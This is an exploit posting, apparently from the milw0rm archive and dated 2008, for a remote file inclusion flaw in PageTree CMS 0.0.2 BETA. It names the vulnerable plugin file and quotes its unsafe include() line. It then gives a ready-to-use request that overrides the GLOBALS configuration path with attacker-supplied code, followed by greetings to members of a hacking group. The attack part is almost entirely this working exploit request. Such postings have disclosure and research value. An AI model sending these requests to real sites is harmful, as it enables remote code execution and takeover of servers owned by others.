45 lines
No EOL
1.4 KiB
Text
45 lines
No EOL
1.4 KiB
Text
=============================================================================================================
|
|
|
|
|
|
[o] PageTree CMS 0.0.2 BETA 0001 Remote File Inclusion Vulnerability
|
|
|
|
Software : PageTree CMS version 0.0.2 BETA 0001
|
|
Vendor : http://pagetreecms.co.cc/
|
|
Download : http://pagetree.googlecode.com/svn/trunk/
|
|
Author : NoGe
|
|
Contact : noge[dot]code[at]gmail[dot]com
|
|
Blog : http://evilc0de.blogspot.com
|
|
|
|
|
|
=============================================================================================================
|
|
|
|
|
|
[o] Vulnerable file
|
|
|
|
admin/plugins/Online_Users/main.php
|
|
|
|
include($GLOBALS['PT_Config']['dir']['data']."content/1.php");
|
|
|
|
|
|
|
|
[o] Exploit
|
|
|
|
http://localhost/[path]/admin/plugins/Online_Users/main.php?GLOBALS[PT_Config][dir][data]=[evilcode]
|
|
|
|
|
|
=============================================================================================================
|
|
|
|
|
|
[o] Greetz
|
|
|
|
MainHack BrotherHood [ http://serverisdown.org/blog/]
|
|
Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
|
|
H312Y yooogy mousekill }^-^{ kaka11 martfella
|
|
skulmatic olibekas ulga Cungkee k1tk4t str0ke
|
|
|
|
GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]
|
|
|
|
|
|
=============================================================================================================
|
|
|
|
# milw0rm.com [2008-11-27] |